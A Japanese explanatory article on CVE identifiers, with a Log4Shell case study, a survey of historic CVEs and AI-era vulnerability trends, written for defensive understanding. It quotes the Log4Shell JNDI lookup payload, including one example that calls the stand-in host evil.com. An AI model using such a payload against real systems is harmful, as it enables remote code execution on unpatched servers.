*【設計開発運用】CVEとは何か、押さえておくべき歴史的CVE

CVEとは何か

CVEは Common Vulnerabilities and Exposures の略。「共通脆弱性識別子」と訳される。

CVEは脆弱性そのものではなく、脆弱性を指すためのラベルである。

図書館の請求記号に近い。本の中身ではなく、本を特定するための番号。

番号の読み方

CVE-2021-44228
 ↑    ↑    ↑
 |    |    └─ 連番
 |    └────── 採番された年
 └─────────── 固定文字列

採番の主体
MITRE（米国の非営利団体）が統括し、権限を委譲された CNA（CVE Numbering Authority） が実際に番号を振る。Microsoft、Google、Red Hat、Apache、JPCERT/CC など、2025年時点で400以上の組織がCNAとして登録されている。自社製品の脆弱性は自社で採番する建て付け。

CVEになる条件

3つ全部を満たす必要がある。

条件	内容	満たさない例
実害があること	機密性・完全性・可用性のいずれかが損なわれる	「動作が変」「使いにくい」はただのバグ
製品とバージョンが確定すること	「Log4j 2.0-beta9 〜 2.14.1」のように対象が特定できる	「HTTPの設計が甘い」はプロトコルであって製品ではない
欠陥と認められること	ベンダーが認めるか、独立して立証されている	ベンダーが「仕様です」と言い張ると対象外

CVEにならないもの

事例	理由
パスワードが「1234」	製品の欠陥ではなく運用のミス
設定ミスで公開状態	同上
自作の社内アプリの穴	一般公開製品ではない
セキュリティ的に望ましくない仕様	ベンダーが欠陥と認めなければ対象外

1脆弱性 = 1CVE の原則

ここが実務で効く。修正版に別の穴が見つかった場合、それは元のCVEの続きではなく別番号になる。

「パッチを当てたから安心」が通じない。

関連用語

用語	意味
CVSS	深刻度スコア。0〜10で表現
NVD	米国国立脆弱性データベース。詳細情報はここ
JVN	日本版。日本語で読める
PoC	実際に攻撃可能なことを示す実証コード
SBOM	ソフトウェア部品表。何が入っているかの一覧

CVSS 9.0以上は緊急対応レベルと考えてよい。

ケーススタディ: CVE-2021-44228（Log4Shell）

2021年12月9日に公表。CVSSスコアは上限の10.0。世界中のセキュリティ担当者の年末休暇が消滅した事件として記憶されている。

攻撃文字列

これだけ。

${jndi:ldap://攻撃者のサーバー/悪意あるコード}

この文字列をログに書かせるだけで、サーバーが指定URLからコードを取得して実行する。

なぜ成立したか: 3つの前提

前提A: JNDIという仕組み

Javaには JNDI（Java Naming and Directory Interface） がある。「名前でリソースを引く」機能。

"jdbc/myDatabase" → 実際のDB接続オブジェクト

企業のJavaシステムでは、DB接続先を直書きせずJNDIで名前解決するのが定石だった。開発環境と本番環境を切り替えられるため。

そしてJNDIはLDAPサーバーからJavaオブジェクトを取得して復元する機能を持っていた。

前提B: Log4jのLookup機能

Log4j 2 には Lookup という機能がある。${...} を書くと実行時に値が埋め込まれる。

${env:HOSTNAME}    → サーバー名に置換
${date:yyyy-MM-dd} → 日付に置換

2013年、ここに jndi が追加された。

${jndi:ldap://...}

設計者が想定していたのは設定ファイルに開発者自身が書く ${...}だった。しかし実装は、ログ出力するメッセージの本文まで走査していた。

// userInput に ${jndi:ldap://evil.com/x} が入っていたら展開される
logger.info("ログイン失敗: " + userInput);

ユーザーが送ってきた文字列が、実行される命令になった。

前提C: デフォルトで有効

オプトインではなかった。Log4j 2 を入れた時点で何も設定せず有効。使っている自覚すらない開発者が大半だった。

攻撃の流れ

認証は不要。ログインしていない匿名の相手でも成立する。

理由は単純で、アクセスログは認証の前に記録されるため。

なぜ絶望的だったか

要因	内容
攻撃が容易すぎる	ログに残る場所ならどこでもよい。ユーザー名、User-Agent、検索窓、フォーム
混入箇所が不明	「依存の依存の依存」として潜む。自分で書いた覚えがなくても入っている
影響範囲	AWS、Cloudflare、Twitter、Steam、Tesla、Minecraft、iCloud

当時の逸話
iPhoneの端末名を変更するだけでAppleのサーバーに到達したという報告があった。Minecraftではチャット欄に貼るだけで通った。「ログに書き込まれる可能性のあるあらゆる文字列」が攻撃ベクタになるという事実が、被害範囲を決定づけた。

設計上の失敗はどこか

3つの機能は、単体では正当だった。

機能	単体での評価
ログに変数を埋め込む	便利
JNDIで名前解決する	Java標準機能
LDAPからオブジェクトを取得する	分散システムでは普通

組み合わさった瞬間に「ユーザー入力からの任意コード実行」になった。

根本的な誤りは1点。信頼できないデータ（ユーザー入力）を、信頼できるデータ（設定ファイル）と同じ経路で処理したこと。

「データとコードを混同するな」
セキュリティの基本原則。SQLインジェクションもXSSも、全部これの派生である。Log4Shellはそれを「ログ出力」という誰も疑わない場所でやってしまった点が新しかった。

修正が3回に及んだ理由

バージョン	対応	結果
2.15.0	JNDI Lookup を制限	不十分（CVE-2021-45046）
2.16.0	JNDI を既定で無効化、Lookup 自体を削除	再帰Lookupの問題が残る
2.17.0	再帰LookupによるDoSを修正（CVE-2021-45105）	収束

1脆弱性1CVEの原則により、修正版の穴は別番号になった。「直しては新しい穴が出る」を3週間繰り返した。米国政府は連邦機関に12月24日を期限とする対応命令を出している。

背景にある構造問題

Log4j はボランティアが無償でメンテナンスしていたオープンソースだった。全世界のインフラが乗っているのに、維持しているのは数人。

xkcd 2347「Dependency」
巨大な積み木のタワーの全重量を、最下部の細い棒1本が支えている絵。キャプションは「名もなき人物が2003年から黙々とメンテしている、どこかのプロジェクト」。Log4Shell以降、この絵は「笑えないやつ」として世界中で引用された。

押さえておくべき歴史的CVE

最上位クラス

CVE	通称	年	対象	何が起きたか
CVE-2014-0160	Heartbleed	2014	OpenSSL	メモリを64KBずつ盗み読める。秘密鍵もパスワードも漏れる。全世界のHTTPSサーバの17%が該当
CVE-2017-0144	EternalBlue	2017	Windows SMB	NSAが隠し持っていた攻撃ツールが流出。WannaCry / NotPetya の弾になり150カ国が被害
CVE-2014-6271	Shellshock	2014	bash	環境変数に仕込むだけでコマンド実行。22年間誰も気づかなかった
CVE-2021-44228	Log4Shell	2021	Log4j 2	CVSS 10.0。Java界の全滅
CVE-2024-3094	XZ Backdoor	2024	xz utils	攻撃者が2年かけてメンテナに成り上がりSSHにバックドアを仕込んだ。偶然の性能劣化で発覚

大規模インシデントを起こしたもの

CVE	通称	年	何が起きたか
CVE-2017-5638	Apache Struts2	2017	Equifaxから1.47億人分が流出
CVE-2021-26855	ProxyLogon	2021	Exchange Server。国家支援型攻撃者が全世界のメールサーバを制圧
CVE-2023-34362	MOVEit	2023	Cl0pランサムウェアが2,700組織・9,300万人分を強奪
CVE-2023-4863	WebP	2023	画像を表示するだけで感染。Chrome、Electron等が影響下
CVE-2019-0708	BlueKeep	2019	RDPのワーム化可能な穴。NSAが異例の緊急警告

CPUレベルの災害

CVE	通称	年	何が起きたか
CVE-2017-5754	Meltdown	2018	投機実行の副作用でカーネルメモリを覗ける。修正するとサーバが遅くなる
CVE-2017-5753	Spectre	2018	設計思想レベルの問題で完全な修正が不可能

この2本が異質な理由
ソフトウェアのバグではなく、CPUの作り方そのものが原因だった。結果として20年分のIntel製品が一斉に対象となり、「パッチを当てると性能が落ちる」という前例のないトレードオフを生んだ。

深刻度が極端なもの

CVE	通称	年	何が起きたか
CVE-2020-1472	Zerologon	2020	暗号実装のミス。AD管理者権限を数秒で奪える。CVSS 10.0
CVE-2021-34527	PrintNightmare	2021	印刷スプーラ経由でSYSTEM権限。パッチが効かず何度も出し直された
CVE-2019-19781	Citrix ADC	2020	VPN機器。年末年始に発覚しパッチ提供まで3週間放置
CVE-2022-22965	Spring4Shell	2022	Log4Shellの直後。Java界が「またか」となった

日本で特に影響が大きかったもの

CVE	対象	何が起きたか
CVE-2019-11510	Pulse Secure VPN	認証なしでパスワードファイルが読める。テレワーク基盤が標的に
CVE-2023-27997	Fortinet FortiOS	国内ランサムウェア侵入経路の常連
CVE-2021-20090	家庭用ルーター	国内メーカー製品にも影響。一般家庭が踏み台化

傾向として読み取れること

1. 地味な部品ほど破壊力がある
   ログライブラリ、圧縮ツール、SSL実装
   誰も注目しない層に全システムが乗っている

2. 認証前に到達できる穴が最悪
   Log4Shell も Heartbleed もログイン不要だった

3. VPN機器・境界防御装置が主戦場
   守るための機械が、そのまま侵入口になっている

4. パッチが一発で決まらない
   「更新したから安全」は幻想

まず3本押さえるなら Heartbleed・EternalBlue・Log4Shell。これを説明できれば脆弱性というものの性質はだいたい掴める。

AI時代のCVE

「AIの台頭でCVEが増えるのでは」という予感は、すでに数字に出ている。

CVE公開件数の推移

年	CVE公開数	前年比
2024	約40,700件	—
2025	約48,200件（過去最多）	+23%
2026予測	59,427件（FIRST中央値予測）	+23%

2026年末には1日あたり160件を超える前提で、人員とツールの計画を立てるべきとされている。

AI関連CVEの比率

年	全CVEに占める割合
2024	3.87%
2025	4.42%（過去最高）
2026	5%超の見込み

2025年の高・緊急レベルのAI関連CVEは641件（高517、緊急124）。CVSSが付与されたAI関連脆弱性3,257件のうち1,593件、26.2%が高・緊急レベル。特にAIサプライチェーンのカテゴリは46.5%と突出している。

一時的な増加ではない
この増加はLLMツール、MCPサーバ、従来型のML/GPU分野など複数領域にまたがって広く発生している。特定ベンダーの一斉監査による一過性のスパイクではない、という点が重要。

増加要因は3つある。混同してはいけない

要因1: CNAが増えた

CVE件数は「IDが付番され公開された数」であって、脆弱性そのものの増加とイコールではない。

CVEプログラム開始当初はMITREのみだった採番権限が、2025年には400超の組織に拡大した。2024→2025の急増には、WordPressプラグインを扱うPatchstackやWordfence、kernel.org、VulDB、GitHubといった特定CNAの発行数が構造的に効いている。

つまり「今まで番号が振られていなかったものに番号が振られるようになった」分が相当ある。

要因2: AIが新しい攻撃面を作った

これは実在の増加。2年前には存在しなかったカテゴリが生まれている。

・LLMアプリのプロンプトインジェクション
・MCPサーバ
・ベクトルDB、モデル配布基盤
・AIエージェントのツール実行権限
・AIフレームワーク（Langflow、Semantic Kernel等）

要因3: AIが脆弱性を大量発見する

良い面と悪い面が同時に来ている。ここが最も厄介。

本当に深刻なのは「数」ではない

2025年分のCVEは、NVDで「分析待ち」が約40%に達している。さらにRejected（却下）されたCVEが前年比2倍以上に増加した。背景にはCVE統合の動きに加え、AIツールを使った大量かつ低品質な脆弱性報告の増加がある。

AIで脆弱性報告が量産される
    ↓
低品質な報告がOSSメンテナに殺到
    ↓
無償ボランティアが対応で疲弊
    ↓
本物の脆弱性が埋もれる

curlの事例
curlの作者が「AIが生成した無意味な報告のせいでバグバウンティ運用を見直す」と公言した件が象徴的。Log4Shellの教訓であった「メンテナが少なすぎる」という構造問題が、AIによって悪化している。

攻撃側の変化

CVE情報やパッチ差分から自動的に攻撃コードを生成するAIシステムが開発されており、従来は高度な専門知識が必要だったexploit開発が数分から数時間で可能になっている。

これが意味するのは「パッチ公開から悪用開始までの猶予が消える」ということ。

従来: パッチ公開 → 解析 → PoC作成 → 攻撃  （数日〜数週間）
現在: パッチ公開 → AI解析 → 攻撃          （数分〜数時間）

パッチ差分こそが攻撃の設計図である以上、「更新の告知」が「攻撃の号砲」になる構図は今後さらに加速する。

まとめ

論点	結論
CVEとは	脆弱性そのものではなく、脆弱性を特定するための共通識別番号
CVEになる条件	実害・製品特定・欠陥認定の3点セット
Log4Shellの本質	信頼できない入力を、信頼できるデータと同じ経路で処理したこと
なぜ3回直したか	1脆弱性1CVEの原則により、修正版の穴は別CVEになるため
CVEは増えるか	増える。ただし半分は採番体制拡大による見かけ上の増加
AI由来の穴	実際に増えている。しかも高深刻度の比率が高い
最大の問題	数の増加ではなく、トリアージ体制の破綻

次の重大なexploitは、CVE IDが割り当てられるより先に現れる可能性がある。

そのため、特定のCVE割り当てとは独立して機能する振る舞い検知に予算を割くべきだとされている。

要するに、「CVEを追いかけて潰す」という20年続いたやり方が限界に近づいている。爆発するのはCVEの数ではなく、それを捌く人間の側である。

実務者が今からできること

1. SBOMを整備する
   何が入っているか分からないものは守れない

2. 認証前に到達可能な経路を洗い出す
   Log4Shell も Heartbleed もそこから来た

3. デフォルトで有効な便利機能を疑う
   使っていない機能は切る

4. パッチ適用を「1回で終わり」と考えない
   修正版に別の穴があるのは珍しくない

5. CVE番号に依存しない検知手段を持つ
   番号が振られる前に攻撃は始まる